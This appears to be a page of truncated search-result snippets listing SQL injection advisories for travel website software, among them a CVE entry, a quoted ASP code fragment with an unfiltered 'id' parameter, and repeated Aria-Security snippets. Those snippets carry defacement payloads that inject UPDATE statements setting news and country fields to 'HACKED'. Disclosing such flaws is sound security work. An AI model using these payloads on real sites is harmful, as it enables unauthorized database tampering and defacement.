CVE-2023-50863

Travel Website v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The 'hotelIDHidden' parameter of the generateReceipt.php resource does not validate the characters received and they are sent unfiltered to the database...

Xianyou travel site management system v1. 5 injection vulnerability-vulnerability warning-the black bar safety net

" CODEPAGE="9 3 6"%!-- include file="conn. asp"--!-- include file="subtopfoot. asp"--% dim idd idd=trimrequest"id" ‘‘‘‘‘‘‘‘ no filter if idd="" then call errbox"invalid parameters passed","","","","" end if set rs=server. CreateObject"adodb. recordset" rs. open "select from lxscmsi where shenhe=1...

Lotfian.com DATABASE DRIVEN TRAVEL SITE SQL Injection Vuln

No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE...

lotfiandb-sql.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE gtsCountry set CountyName='HACKED'...

Lotfian.com DATABASE DRIVEN TRAVEL SITE SQL Injection Vuln

Exploit for unknown platform in category web applications ========================================================== Lotfian.com DATABASE DRIVEN TRAVEL SITE SQL Injection Vuln ========================================================== ----------------------------- DATABASE DRIVEN TRAVEL SITE...